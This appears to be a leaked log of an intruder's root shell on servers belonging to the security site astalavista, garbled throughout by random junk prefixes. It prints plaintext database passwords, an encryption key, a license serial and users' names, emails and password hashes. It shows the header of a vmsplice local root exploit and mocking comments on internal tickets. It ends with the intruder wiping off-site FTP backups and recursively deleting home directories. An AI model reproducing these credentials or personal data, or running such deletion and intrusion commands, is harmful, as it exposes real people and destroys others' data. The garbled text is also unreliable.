5 N! |" w: F' l9 Fdrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
-rw——-  1 jon  jon    79 Sep 21  2007 .bash_history
  V5 m0 N: k" i- ?' v5 Y-rw-r–r–  1 jon  jon    24 Sep 15  2007 .bash_logout
-rw-r–r–  1 jon  jon   176 Sep 15  2007 .bash_profile
3 W/ l" R* K5 f% v-rw-r–r–  1 jon  jon   124 Sep 15  2007 .bashrc
) B: b; Q. F' \sh-3.2# cat .bash_history
& z7 |  B% V: D# ^5 O/ G/usr/bin/mysqladmin -u root password PoliuJhytg67
. ^3 A# O8 x8 M  u2 p
sh-3.2# cd ..
sh-3.2# cd astanet
; P7 i6 T0 |6 w# \$ [* |, ssh-3.2# ls -la
total 52
6 c+ v4 j% M+ e' @' qdrwx–x–x  6 astanet astanet 4096 Jun  4 09:51 .
' u" [: G  P+ e( n6 jdrwxr-xr-x 14 root    root    4096 Mar 11 17:56 ..
" m' i) k! v6 E& o' a) O' cdrwxr-xr-x  2 root    root    4096 Dec 23 16:00 auth
6 m+ V0 N5 M  V* z0 r" N' V  k-rw——-  1 astanet astanet 3892 Apr 16 12:14 .bash_history
7 W6 c/ p" O- _1 T2 l3 y-rw-r–r–  1 astanet astanet   33 Dec 17 21:50 .bash_logout
-rw-r–r–  1 astanet astanet  176 Dec 17 21:50 .bash_profile
-rw-r–r–  1 astanet astanet  124 Dec 17 21:50 .bashrc
drwx–x–x  3 astanet astanet 4096 Dec 23 12:18 domains
6 K+ k* ~' W  Xdrwxrwx—  3 astanet mail    4096 Dec 23 12:18 imap
drwx——  2 astanet astanet 4096 Dec 23 12:18 mail
' \* J( r6 ]& d$ ]$ S9 Y-rw——-  1 astanet astanet  197 Jun  4 09:51 .mysql_history
lrwxrwxrwx  1 astanet astanet   37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html
-rw-r—–  1 astanet mail      34 Dec 22 12:41 .shadow
3 J  p" v8 h# R0 n: i# N7 y
sh-3.2# cd auth/
sh-3.2# ls -la
total 28
drwxr-xr-x 2 root    root    4096 Dec 23 16:00 .
drwx–x–x 6 astanet astanet 4096 Jun  4 09:51 ..
-rw-r–r– 1 root    root     321 Jan  5  2006 hackercontest.config.inc.php
* h' E3 \; s/ y! ?: W9 V-rw-r–r– 1 root    root     319 Jan  5  2006 hosting.config.inc.php
-rw-r–r– 1 root    root      24 Jun  4 09:38 .htadm_pwd
-rw-r–r– 1 root    root      49 Jan  5  2006 .htpasswd_newhosting
& y: G( i9 x. {6 U4 i1 v; M-rw-r–r– 1 root    root      51 Oct 11  2006 .htwebalizer_pwd
" s, E' @5 ]. W6 P$ G
sh-3.2# cat hackercontest.config.inc.php
- \8 {# _( i( p. [' N) R" t% u<?PHP
+ W, U! P# U* t+ }// Variabeln f?r Verbindung zur Datenbank //
0 p( O+ \7 Q! L$conxHost = ‘localhost’;                       // MySQL hostname
" ?& J( `( H+ L/ S) O, d9 K9 M$conxUser = ‘hackercontest’;                                       // MySQL user
$conxPassword = ‘K6m@7dUc’;                    // MySQL password
: F$ r" i  _& K- C0 d$ F$bfkey = ‘cXvB3981′;                                       // Encryption/Decryption Key for Blowfish
1 U1 z1 m) N. Y) O?>
* d$ o( s; H7 d9 E; a2 B' ?2 zsh-3.2# cat hosting.config.inc.php
7 ?5 D; ], G* f4 ]' f- U0 {<?PHP
// Variabeln f?r Verbindung zur Datenbank //
$conxHost = ‘localhost’;                       // MySQL hostname
$conxUser = ‘hostinguser’;                                 // MySQL user
( l1 z% Q. P' m+ O' d/ f, A$conxPassword = ‘cXvB3981′;                    // MySQL password
$bfkey = ‘cXvB3981′;                                       // Encryption/Decryption Key for Blowfish
?>

9 X  w  J7 W7 q7 W8 }sh-3.2# cd ..
sh-3.2# cd com
sh-3.2# ls -la
total 141208
' b, ~: Q! P3 k) u& ?* Sdrwx–x–x 10 com  com       4096 Apr 28 12:40 .
drwxr-xr-x 14 root root      4096 Mar 11 17:56 ..
' J) x3 V+ L" C  m- s8 O+ ?drwx——  2 com  com       4096 Jun  4 04:04 backups
-rw-r–r–  1 root root   2419504 Sep 28  2007 backup.sql
drwxr-xr-x  2 com  com       4096 May 12 15:20 backup_system
-rw——-  1 com  com      21880 Jun  2 08:07 .bash_history
: p6 J, y  Q3 r7 E( {-rw-r–r–  1 com  com         24 Sep 24  2007 .bash_logout
-rw-r–r–  1 com  com        176 Sep 24  2007 .bash_profile
: m* E2 e9 V9 x8 L8 @-rw-r–r–  1 com  com        124 Sep 24  2007 .bashrc
: z8 b( o& Y8 @6 j" S. zdrwx–x–x  3 com  com       4096 Jan 29  2008 domains
" l% b3 C9 l* w+ D-rw-r–r–  1 com  com      16409 Jul 16  2008 FWUser.class.php.fixed
! q, J$ h6 z5 k1 Z# udrwxrwx—  3 com  mail      4096 Jan  6 19:24 imap
4 }/ v" Y3 Q) {% |-rw——-  1 com  com         69 Nov 18  2008 .lesshst
/ {( `) Q1 V1 a0 J. ndrwx——  2 com  com       4096 Sep 24  2007 mail
-rw——-  1 com  com      13970 Mar 28 21:42 .mysql_history
: u* @4 a% v7 b% _drwxr-xr-x  2 com  com       4096 Aug 20  2008 .ncftp
lrwxrwxrwx  1 com  com         37 Sep 24  2007 public_html -> ./domains/astalavista.com/public_html
1 V0 L$ F" W. x% L-rw-r—–  1 com  mail        34 Sep 24  2007 .shadow
, a1 M, |% x2 U9 A* h& P9 \drwx——  2 com  com       4096 Aug 26  2008 .ssh
-rwx——  1 com  com       8515 Feb 10  2008 t
4 @4 d. o8 V6 m, R1 a% \-rw-rw-r–  1 com  com       6265 Feb 11  2008 t.c
! S% @  l- ^. E/ u! ldrwxrwxr-x  2 com  com       4096 Jan 30 15:47 tmp
( Q0 A) e9 w0 g. }: Y/ \  y-rw-rw-r–  1 com  com        617 May 20  2008 .toprc
-rw-rw-r–  1 com  com  141851766 May 19  2008 version2-backup-20080519-0900.sql
1 S- a+ O$ O/ W7 \-rw——-  1 com  com      16629 Mar 28 21:46 .viminfo
-rw-rw-r–  1 com  com         51 Aug 25  2008 .vimrc
/ i7 V% {: V' `) i
sh-3.2# head t.c
+ i: T4 N# a8 ]" V, J3 n- E/*
* jessica_biel_naked_in_my_bed.c
*
* |% v/ g# x) I- Z8 S2 v$ A( ]! ?* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
0 C7 ~% T  q- x( f0 i4 F# p* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
*
* Linux vmsplice Local Root Exploit
% X% f/ b; j- b* T+ X" B. D* By qaaz
*

3 z( N3 [/ @# p% {sh-3.2# cd /
$ F- p6 J6 V0 b4 ?) \( D: Osh-3.2# ls -la
% B3 G: v( e- Y* x% ]6 g' ztotal 360
6 _! g; l" Q* v0 G9 ^drwxr-xr-x  25 root root   4096 Jun  3 02:43 .
4 e* U5 ]9 V: k: _( H4 pdrwxr-xr-x  25 root root   4096 Jun  3 02:43 ..
' K$ c0 ^! e$ Q) n- D7 }0 B-rw——-   1 root root  10240 Jun  3 02:39 aquota.group
; E4 a! E1 u% i6 i1 o1 C3 N% e-rw——-   1 root root  10240 Jun  3 02:39 aquota.user
1 S$ o' x, s) I* U" z# y-rw-r—–   1 root root    819 Jul 17  2008 astalavista.us.db
-rw-r–r–   1 root root      0 Jun  3 02:43 .autofsck
-rw-r–r–   1 root root      0 Sep 16  2007 .autorelabel
drwxr-xr-x   3 root root   4096 Dec 29  2007 backup
drwxr-xr-x   2 root root   4096 Jun  4 04:03 bin
drwxr-xr-x   5 root root   4096 Jun  2 14:06 boot
* q) r: N1 I) idrwxr-xr-x  11 root root   3620 Jun  3 02:43 dev
: K5 o  Y) e  R( }2 }drwxr-xr-x  84 root root  12288 Jun  4 03:16 etc
$ J7 K2 a# V8 e$ o2 f, |- ^drwxr-xr-x  14 root root   4096 Mar 11 17:56 home
-rw-r–r–   1 root root  13387 Mar 20  2008 httpd.conf
drwxr-xr-x  11 root root   4096 Jun  4 04:02 lib
& B+ q) [% T* I4 N9 ~$ p6 W5 odrwxr-xr-x   7 root root   4096 Jun  4 04:03 lib64
drwx——   2 root root  16384 Sep 11  2007 lost+found
6 r* _# M5 u  zdrwxr-xr-x   2 root root   4096 Mar 11 17:56 media
drwxr-xr-x   2 root root      0 Jun  3 02:43 misc
. c. c  s+ g% S( F  @" pdrwxr-xr-x   2 root root   4096 Mar 11 17:56 mnt
' q; w, \" J# K( Z, x4 r-rw-r–r–   1 root root   5859 Feb  3  2008 mrtg.cfg
drwxr-xr-x   2 root root      0 Jun  3 02:43 net
3 A$ U, m6 D& g. e5 M- `drwxr-xr-x   3 root root   4096 Mar 11 17:56 opt
dr-xr-xr-x 264 root root      0 Jun  3 02:42 proc
% u6 ~8 G! d* H: ?drwxr-x—  15 root root   4096 Jun  4 08:40 root
drwxr-xr-x   2 root root  12288 Jun  4 04:03 sbin
: J( z. u, Q+ `5 p4 e& hdrwxr-xr-x   2 root root   4096 Mar 11 17:56 selinux
drwxr-xr-x   2 root root   4096 Mar 11 17:56 srv
drwxr-xr-x  11 root root      0 Jun  3 02:42 sys
7 I' v* k9 H0 F- J: v$ cdrwxrwxrwt   4 root root 122880 Jun  4 10:35 tmp
8 B0 u: ~, T6 Jdrwxr-xr-x  16 root root   4096 Jun  2 13:56 usr
drwxr-xr-x  26 root root   4096 Jun  4 03:16 var

# e7 u, ?' w9 K7 U8 V+ l) Vsh-3.2# cd opt
sh-3.2# ls -la
& ?/ [# H( `' W: jtotal 20
drwxr-xr-x  3 root root 4096 Mar 11 17:56 .
drwxr-xr-x 25 root root 4096 Jun  3 02:43 ..
drwxr-xr-x 15 root root 4096 Mar 20  2008 lsws

7 X" M+ R7 `, A- z* ]9 L- i# ssh-3.2# cd lsws/
sh-3.2# ls -la
8 ~" v! _3 y2 F3 T  @0 ]. wtotal 108
& d% e( [/ N8 v) a  }: O' m/ `( S' a$ mdrwxr-xr-x 15 root   root    4096 Mar 20  2008 .
; I- X  h7 r$ S9 m6 m4 sdrwxr-xr-x  3 root   root    4096 Mar 11 17:56 ..
: X( s9 q1 g  edrwxr-xr-x  8 root   root    4096 Mar 20  2008 add-ons
drwxr-xr-x 13 root   root    4096 May 29 15:10 admin
# K- T/ ?5 }& }: Bdrwxr-xr-x  5 apache apache  4096 May 29 15:10 autoupdate
drwxr-xr-x  2 root   root    4096 May 29 15:10 bin
4 p& {+ L/ ^/ a  F. G: j2 [drwx——  4 apache apache  4096 Jun  3 02:43 conf
) K& A8 M/ _+ Qdrwxr-xr-x  7 apache apache  4096 Mar 20  2008 DEFAULT
drwxr-xr-x  2 root   root    4096 Sep 15  2008 docs
drwxr-xr-x  2 root   root    4096 May 29 15:10 fcgi-bin
! L  K' i9 E, Q0 m( F+ j, k2 ^2 ]7 hdrwxr-xr-x  2 root   root    4096 Sep 15  2008 lib
; E/ ]  H; j8 x! n$ D* j$ F7 u-rw-r–r–  1 root   root    6959 May 29 15:10 LICENSE
  }0 a8 j% X0 I. M7 L-rw-r–r–  1 root   root    2214 May 29 15:10 LICENSE.OpenLDAP
-rw-r–r–  1 root   root    6279 May 29 15:10 LICENSE.OpenSSL
0 t. M0 F0 g1 e-rw-r–r–  1 root   root    3208 May 29 15:10 LICENSE.PHP
drwxr-xr-x  2 root   root   20480 Jun  4 09:55 logs
drwxr-xr-x  2 root   root    4096 Mar 20  2008 php
drwx——  2 apache apache  4096 Mar 20  2008 phpbuild
drwxr-xr-x  3 root   root    4096 Mar 20  2008 share
-rw-r–r–  1 root   root       6 May 29 15:10 VERSION
* w1 ~, Q$ L8 ^
sh-3.2# cd conf
5 _9 n) R% _' j7 n# ssh-3.2# ls -la
- t7 h6 |" R; vtotal 48
drwx——  4 apache apache 4096 Jun  3 02:43 .
drwxr-xr-x 15 root   root   4096 Mar 20  2008 ..
" t& x4 ^8 H2 I* Sdrwx——  2 apache apache 4096 Mar 20  2008 cert
-rw-r–r–  1 apache apache 6668 May 29 15:13 httpd_config.xml
0 Q. N. i. _/ y' P  P! ?5 i-rw——-  1 apache apache 6613 May 27 18:33 httpd_config.xml.bak
-rw-r–r–  1 root   apache    0 Jun  3 14:11 .last
-rw——-  1 apache apache  256 May 29 15:10 license.key
" n  r2 S6 U6 ?' r( i9 k-rw——-  1 apache apache  256 Mar 21  2008 license.key.old
-rw——-  1 apache apache 3320 Mar 20  2008 mime.properties
" b. G0 N2 c; d# A/ j& U-rw——-  1 apache apache   20 May 29 15:10 serial.no
: p7 B1 U. Q7 A2 {3 Adrwx——  2 apache apache 4096 Mar 20  2008 templates
$ J9 J6 K( f- J% H
7 @0 ?4 V- _& U" @4 @( t9 F2 dsh-3.2# cat serial.no
( W" i7 _8 X" I& S- jIbDl-oVsO-CKqL-wVRa
% v6 r/ K$ Y6 a3 O7 Q6 q4 S
8 f" A- J" f" Q6 Q+ bsh-3.2# mysql
6 J( D4 V: i/ a! o! q% FWelcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 286844
Server version: 5.0.45-community-log MySQL Community Edition (GPL)

4 ~0 R+ X* |0 NType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.

3 j" ?; B% A; M4 Vmysql> show databases;
+———————–+
| Database              |
+———————–+
/ x, ?. V5 W# p; b0 || information_schema    |
5 }" c; O9 m8 B# X+ F1 C| astanet_ads           |
| astanet_mailing_lists |
| astanet_mediawiki     |
4 V0 H- v; r  g0 k; H4 o. G9 }1 q, R| astanet_membersystem  |
| com_contrexx          |
| com_contrexx2         |
; b4 e- J6 T) a6 ?1 {7 H# p  g| com_contrexx2_live    |
$ B* q! z3 y, }| da_roundcube          |
$ c, ~) h% X4 Z) P| dolphin               |
| ideapool              |
. Q8 F+ ~0 ?; I& f/ i+ T0 v| mysql                 |
| test                  |
| yourmaster            |
+———————–+
14 rows in set (0.00 sec)
; w4 A$ o4 k8 _. p
) ~/ l( E% r5 o  s3 Lmysql> use ideapool
' ?$ T3 C" D3 @/ hDatabase changed
mysql> show tables;
3 w7 S3 R  \# @* c+———————————–+
1 n( k1 L, L) @  D: {) D; S  ?| Tables_in_ideapool                |
) l2 E% B4 m" B, e+———————————–+
| eventum_columns_to_display        |
| eventum_custom_field              |
| eventum_custom_field_option       |
1 T% N" u! \* X/ N/ u8 D) Q3 p| eventum_custom_filter             |
5 G9 R5 s* X1 F4 r: ?$ P4 b& X) W| eventum_customer_account_manager  |
| eventum_customer_note             |
" g! g) v1 }  || eventum_email_account             |
( o! [$ w8 x" d! y# _, d- \| eventum_email_draft               |
- c& X1 E: P7 y# C! Y| eventum_email_draft_recipient     |
  T$ n- j0 [) {/ _+ L* u| eventum_email_response            |
| eventum_faq                       |
  y6 X: Z! c& L/ c' h& c9 g/ E| eventum_faq_support_level         |
: M5 a- H+ j5 X( m& {6 z# x) N| eventum_group                     |
| eventum_history_type              |
| eventum_irc_notice                |
| eventum_issue                     |
| eventum_issue_association         |
| eventum_issue_attachment          |
) ~2 z9 ^9 N( h" E* ~( a| eventum_issue_attachment_file     |
| eventum_issue_checkin             |
| eventum_issue_custom_field        |
8 _) X7 T4 ~2 g. E| eventum_issue_history             |
& ?1 l4 r% m4 C" y| eventum_issue_quarantine          |
| eventum_issue_requirement         |
' D, T2 H6 a# F& D( a$ O| eventum_issue_user                |
0 m4 L7 C7 F" l| eventum_issue_user_replier        |
4 |# n( J7 f) {7 T" @. d  u| eventum_link_filter               |
| eventum_mail_queue                |
| eventum_mail_queue_log            |
| eventum_news                      |
4 A# t& ]2 Q  L| eventum_note                      |
| eventum_phone_support             |
| eventum_project                   |
| eventum_project_category          |
- R- d6 I7 `7 s7 S! X% F| eventum_project_custom_field      |
| eventum_project_email_response    |
| eventum_project_field_display     |
| eventum_project_group             |
| eventum_project_link_filter       |
. l$ ]  E8 }) L; O8 g7 o% z( s| eventum_project_news              |
- r; w( p# @* z5 i2 S| eventum_project_phone_category    |
| eventum_project_priority          |
7 i; |3 c3 g$ r3 s: w0 [, g| eventum_project_release           |
1 l+ w' V4 e9 \; H. O& Y# Z| eventum_project_round_robin       |
| eventum_project_status            |
| eventum_project_status_date       |
! [* A2 F+ I$ }" T| eventum_project_user              |
+ `8 f# I- u( d1 H; m| eventum_reminder_action           |
6 I) c! c, {7 `2 ~9 p% a| eventum_reminder_action_list      |
8 e. l5 T& V: R6 z3 `: {3 N7 Y| eventum_reminder_action_type      |
; J' ~1 O# J) W4 j| eventum_reminder_field            |
| eventum_reminder_history          |
| eventum_reminder_level            |
| eventum_reminder_level_condition  |
! ~  ?% u8 Z9 v0 U9 I$ a- p7 u| eventum_reminder_operator         |
| eventum_reminder_priority         |
8 r% w) x! |9 [1 S) E4 K, W& c; M| eventum_reminder_requirement      |
| eventum_reminder_triggered_action |
| eventum_resolution                |
| eventum_round_robin_user          |
| eventum_search_profile            |
5 o5 _9 g) g5 u  Q! N6 E: c| eventum_status                    |
| eventum_subscription              |
# Y0 ~& A! `6 C| eventum_subscription_type         |
| eventum_support_email             |
| eventum_support_email_body        |
| eventum_time_tracking             |
" v4 Y7 P& c, {7 w3 l- }+ K| eventum_time_tracking_category    |
8 _' E0 m, Z# \* N* T% z| eventum_user                      |
, |/ s1 f  a+ Z5 O  P2 Q7 W+———————————–+
2 X7 ~3 C1 D  A) ?3 [69 rows in set (0.00 sec)
1 J# N- _8 N( |
5 v* R: N) E8 ~  Y8 K1 zmysql> describe eventum_user;
  ^& \5 x* `/ o- T+————————-+——————+——+—–+———————+—————-+
| Field                   | Type             | Null | Key | Default             | Extra          |
$ F* {: N$ S% n+ E3 x& R5 _& _: o+————————-+——————+——+—–+———————+—————-+
| usr_id                  | int(11) unsigned | NO   | PRI | NULL                | auto_increment |
- Y! L" i- t+ v3 ?| usr_grp_id              | int(11) unsigned | YES  | MUL | NULL                |                |
6 u  V9 j* S3 W5 n| usr_customer_id         | int(11) unsigned | YES  |     | NULL                |                |
| usr_customer_contact_id | int(11) unsigned | YES  |     | NULL                |                |
$ F: p  z0 p+ q3 [1 z" [. P/ p| usr_created_date        | datetime         | NO   |     | 0000-00-00 00:00:00 |                |
3 b  @$ Y: w% H8 g2 x: B! o, G| usr_status              | varchar(8)       | NO   |     | active              |                |
| usr_password            | varchar(32)      | NO   |     |                     |                |
; K; W8 T6 ]. g0 i# }0 c| usr_full_name           | varchar(255)     | NO   |     |                     |                |
# n1 r. ~; \8 v. Z& Y' J| usr_email               | varchar(255)     | NO   | UNI |                     |                |
| usr_preferences         | longtext         | YES  |     | NULL                |                |
| usr_sms_email           | varchar(255)     | YES  |     | NULL                |                |
7 e- f2 o# s4 P0 D| usr_clocked_in          | tinyint(1)       | YES  |     | 0                   |                |
* k  C; u) i3 \- c4 n" ^5 N; u) {| usr_lang                | varchar(5)       | YES  |     | NULL                |                |
0 R/ r( K. r3 C$ l& b+————————-+——————+——+—–+———————+—————-+
13 rows in set (0.00 sec)
$ V' L  a4 g- B* q" R
mysql> select usr_full_name,usr_email,usr_password from eventum_user;
( I! i8 F8 ?1 {4 r( O+———————-+——————————-+———————————-+
| usr_full_name        | usr_email                     | usr_password                     |
7 [  c7 u$ W$ |. T5 V1 D. r+———————-+——————————-+———————————-+
| system               | 链接标记system-account@example.com    | 14589714398751513457adf349173434 |
6 C; E5 z: e9 h3 c& q+ d( k| Developer (Paulo)    | 链接标记paulo.santos@astalavista.ch   | 26a35a1cf8895c27fb37ef4cf149f7bb |
# J7 ]* t+ l# \, x) R| Be1er0ph0r           | 链接标记be1er0ph0r@gmx.de             | 229766dc0ca1fb67160a8782321dfdce |
| Admin                | 链接标记pascal.mittner@astalavista.ch | 57c2877c1d84c4b49f3289657deca65c |
| ADMIN                | 链接标记admin@astalavista.ch          | f6fdffe48c908deb0f4c3bd36c032e72 |
* E5 e  ^$ ]% ^4 t$ T* U2 {/ g| USER                 | 链接标记user@astalavista.ch           | 5cc32e366c87c4cb49e4309b75f57d64 |
| Glafkos - (nowayout) | 链接标记glafkos@astalavista.com       | f7735ab119023a8abb2301e67f81cd67 |
0 h7 R) P9 u/ R2 K# r| Joao                 | 链接标记joao.pontes@astalavista.net   | f805c071d7c823b937448c54c047b9fd |
! m5 B/ g& _  n2 {: ?| Pascal               | 链接标记pm@astalavista.ch             | e10adc3949ba59abbe56e057f20f883e |
  H, l. U$ r+ \. R# }. O# U| commander            | 链接标记commander@astalavista.com     | 932cd250918f881d41feb0b93883a926 |
| ishtus               | 链接标记ishtus@astalavista.com        | a587ffc88b3dbbba3fd2fe67af649ff0 |
8 V1 e; {- {' e& a| sykadul              | 链接标记sykadul@astalavista.com       | 20224a2f3eeb57a13a10b4df543c128e |
| Zach McElroy         | 链接标记admin@badfoo.net              | 33c5d4954da881814420f3ba39772644 |
| usb                  | 链接标记usbenigma@hushmail.com        | b513f22c3db6932855ad732f5f8a10a2 |
| cyph3r               | 链接标记cyph3r@astalavista.com        | 6e1e50017a945e874d52ec91f9ab2cee |
+———————-+——————————-+———————————-+
  X: [( F' s) Z( r  \. d15 rows in set (0.00 sec)
$ A( @# [0 G( m8 |$ c' l
mysql> select iss_description from eventum_issue where iss_id = 43;
: E/ g/ w$ e9 H# I+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+
| iss_description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                
|
# E- m7 U$ f( h; j$ Q4 S+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+
/ F( y% \) S1 }0 H% J' F. j+ @| Ok guys, to boost our traffic and revenue what we have to do is keep users logged in… how to do that? well think about it… if a user is watching a movie… he’ll be
connected for 90 mins… 120mins… so what i propose is something like:
链接标记[url]http://www.surfthechannel.com/[/url]
5 z+ o" p, Y* }3 x- Jsince they only provide LINKS to the movies they are LEGAL and don’t break DMCA rules… so we could do the same… “iframe” the content on our website or use a system
like podcast that uses our own flash player to stream content from other places, therefore the content NOT BEING HOSTED ON OUR SERVERS but only viewed… which doesn’t
break any laws as far as i am aware (we should research on that just to be sure though!) Of course we would have to provide users with the button to take the content off
5 A4 ]$ v# ?! G6 q- {( k% Rif they think it breaks copyright laws and we will remove it… i think that makes it on the border of DMCA…
! K& g! n8 Q! {7 W
We could also put advertisement during play on the flash video player itself… extra $$…
# n" m. k& t- G
: A; @/ [( \/ C* LBy sykadul |
# V1 ]3 \& a# w- `  \+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+
% k4 n4 z5 ~; \1 row in set (0.00 sec)
4 Z2 Y+ L: u# A0 H
7 w" M( d6 c8 t4 I% y8 s0 ~// Money and extra $$ is all they care about. remember that.

mysql> select iss_summary,iss_description from eventum_issue where iss_id =42;
+————————+——————————————————————————————————————————————————————————————————————————————-+
4 ~% r/ s# ]! ~. P1 }' H3 [| iss_summary            | iss_description                                                                                                                                                                                                                          
|
+————————+——————————————————————————————————————————————————————————————————————————————-+
| Forum for REAL EXPERTS | Hello,

5 S9 _3 E, P+ }& F& z# R; cIshtus and I,
# A+ `7 i4 o5 Q
Came up with a crazy and very workable and professional idea. We create an invitation only forum with the BEST security experts worldwide
ONLY. Security Experts from Bugtraq lists, exploit writters, reverse engineers etc..
, x! C4 X3 k* N8 Q
One example a friend of mine from coresecurity.com!

We could have big projects etc.. and we can work all together to bring to the security community exploits, open source software etc..

0 ]0 C% g* U: ?& U2 M|
+————————+——————————————————————————————————————————————————————————————————————————————+
" k3 [% G- A; D: U1 row in set (0.00 sec)

// What an awesome yet original idea Ishtus and him… bring MORE security “experts”, thats exactly what the world needs…

3 T( O5 }: i( E" U9 k- y8 Mmysql> select iss_summary,iss_description from eventum_issue where iss_id = 16;
+——————+———————————————————————————————+
! n: x+ t* M3 o. D5 u* I. r| iss_summary      | iss_description                                                                             |
7 U9 r9 s$ U' |6 ~/ }, ?+——————+———————————————————————————————+
| Website guidance | Virtual Girl which guides you trought the website.

We need a girl with who you can ( talk )!!!
: R- U: J9 x' z# m9 lAlso for the News!
So my suggestion is a girl who read you the news loud if you like!
6 m" a" y& I# `' tyou can choose between read yourselfe or she read it for you or both!
  W6 M: Q7 i% s( z0 c
Go to 链接标记[url]www.heise.de[/url]! There is an example for Voice News! It’s a good thing!!!
# x1 L* w) a8 n  A( \7 R  o
Have a look on the example girls!!
- u$ u2 G% z1 n. n/ {! w
链接标记[url]http://www.yaoti.com/de/free_yaoti.html[/url]

5 w8 i9 |& Q. wor that

链接标记[url]http://www.yellostrom.de/[/url]
) z# d( p4 U8 }. b) L' C' [7 g
|
+——————+———————————————————————————————+
1 row in set (0.00 sec)
9 M/ ^7 O% @  n7 n% z
( u4 |: p  p* ^4 C* x$ H% H/ H: C// ha ha.
4 l8 v) T, Q" H" Y5 @) a$ j
mysql> select iss_summary,iss_description from eventum_issue where iss_id = 7;
+————————–+———————————————————————————————————–+
5 E" ^+ {9 B$ E| iss_summary              | iss_description                                                                                           |
; _3 d9 ~  `+ v% O8 N+————————–+———————————————————————————————————–+
| Exploit Development Team | We need an exploit development team to focus on exploit research and publication under Astalavista name.  |
* b4 p% |" [" [- k# e# A# n4 d3 y+————————–+———————————————————————————————————–+
1 row in set (0.00 sec)

// LOL.

  N: V0 ~8 h2 A4 m3 V  Z' z1 jmysql> exit
9 R4 t, I6 e7 N7 ~Bye

sh-3.2# ftp 212.254.194.163
8 ~* m. q8 j9 w: CConnected to 212.254.194.163.
220 BackupCOM_VW FTP server ready.
7 G& n1 p  Z" y0 A- G4 b; ~* H0 X504 AUTH: security mechanism ‘GSSAPI’ not supported.
& e) S; P+ ~4 q1 f5 u4 }3 `504 AUTH: security mechanism ‘KERBEROS_V4′ not supported.
/ U; b7 {  Y5 I3 p( uKERBEROS_V4 rejected as an authentication type
5 v! O. V; w8 W8 l' {, K& {& PName (212.254.194.163:root): astalavista.com
331 Password required for astalavista.com.
Password:
" l  \2 N) e: I& U0 j230 User astalavista.com logged in.
Remote system type is UNIX.
, P: Q) {# `/ J% b3 z- F, {Using binary mode to transfer files.
ftp> ls -la
) B5 F6 X* f( H0 c! |9 Y227 Entering Passive Mode (212,254,194,163,2,188)
/ ~  ~0 N$ K. s' c150 Opening BINARY mode data connection for ‘file list’.
dr-x——   1 root users         4096 Jun  4 06:13 astalavista.com
226 Transfer complete.
ftp> cd astalavista.com
7 ]* U" ]8 s0 l; Q250 CWD command successful.
' y8 v8 I# [2 N6 u( c7 l& \ftp> ls -la
227 Entering Passive Mode (212,254,194,163,2,189)
150 Opening BINARY mode data connection for ‘file list’.
5 e* d9 b! {3 f# z-rw-rw-rw-   1 astalavista.com users     23410936878 Apr 29 22:10 09-04-28-astacom_full.tar
9 z! \5 S2 t( D6 M$ t-rw-rw-rw-   1 astalavista.com users     20617651590 Apr 29 14:18 09-04-28-astacom_full.tar.bz2
-rw-rw-rw-   1 astalavista.com users        88287111 Apr 29 15:57 09-04-29-astacom_sql_full.sql.tar.bz2
* t5 T" P( ?4 w3 Q. c' @-rw-rw-rw-   1 astalavista.com users     26413034040 May  2 00:21 09-05-01-astacom-Public_HTML.tar
9 D& }: [( F/ l% j! P# Y7 b-rw-rw-rw-   1 astalavista.com users       277843549 May  1 17:29 09-05-01-astacom-SQL_Dump.tar
# ~! l( r9 [% \: J: N9 ?; p/ q[snip]
226 Transfer complete.
ftp> mdelete *
9 _9 k- T7 z5 ?% g* Dftp> ls -la
- @7 s4 z5 ~0 i# y) e# W/ o, N4 k227 Entering Passive Mode (212,254,194,163,2,193)
150 Opening BINARY mode data connection for ‘file list’.
226 Transfer complete.
& |4 m' m# A& L9 R  \0 x* ]ftp>

& \* ?1 p5 d; D% Vsh-3.2# cd /home
% ~: H. v% m; u, ^! c5 Z3 ?sh-3.2# ls -la
- E+ h4 j" K: dtotal 120
+ R$ o" n+ L! W9 e' J1 Tdrwxr-xr-x 14 root    root     4096 Mar 11 17:56 .
drwxr-xr-x 25 root    root     4096 Jun  3 02:43 ..
drwx–x–x  9 admin   admin    4096 Nov 28  2007 admin
, B5 W0 e. @6 Y% ]6 e9 l9 @! E( K-rw——-  1 root    root     8192 Jun  4 03:03 aquota.group
-rw——-  1 root    root     8192 Jun  3 02:45 aquota.user
8 M  y+ g# |. ?& q1 `, V, y% ldrwx–x–x  6 astanet astanet  4096 Jun  4 09:51 astanet
* r& n, P5 R. G7 V& sdrwxr-xr-x  2 root    root     4096 Jul 29  2008 backup
7 A  m2 e! L- H3 q$ Tdrwxr-xr-x  2 root    root     4096 Sep 17  2008 backup.14161
% R/ t% w; _. H* s9 a+ Odrwx–x–x 10 com     com      4096 Apr 28 12:40 com
9 U: Q8 _- i; d* I" }8 m+ g. B% A7 @7 cdrwxr-xr-x  2 root    root     4096 May 17  2007 ftp
drwx——  3 jon     jon      4096 Sep 21  2007 jon
  K6 W8 I6 E( l. C0 p8 D% [# S" W  Ydrwx——  2 root    root    16384 Sep 11  2007 lost+found
: q( o5 q1 k. B1 o& adrwxr-xr-x  2 root    root     4096 Sep 14  2007 my
drwxr-xr-x  5 mysql   mysql    4096 Sep 24  2007 mysqldata
8 ]7 W: t: L% S+ Z6 }drwx——  2 jon     jon      4096 Sep 15  2007 test
drwxrwxrwt  2 root    root     4096 Jul 29  2008 tmp
7 x1 \! X8 \2 g- e
- V4 W9 M% t4 A# _8 zsh-3.2# rm -rf backup/
$ C) o+ ~$ H3 }# w) c1 osh-3.2# rm -rf backup.14161/
sh-3.2# rm -rf ftp/
sh-3.2# rm -rf jon/
sh-3.2# rm -rf my/
. D2 w: J2 |* q) k4 H$ a' l$ |sh-3.2# rm -rf mysqldata/
# h& ?% a+ m8 _/ w! T$ {* S( Nsh-3.2# rm -rf test/
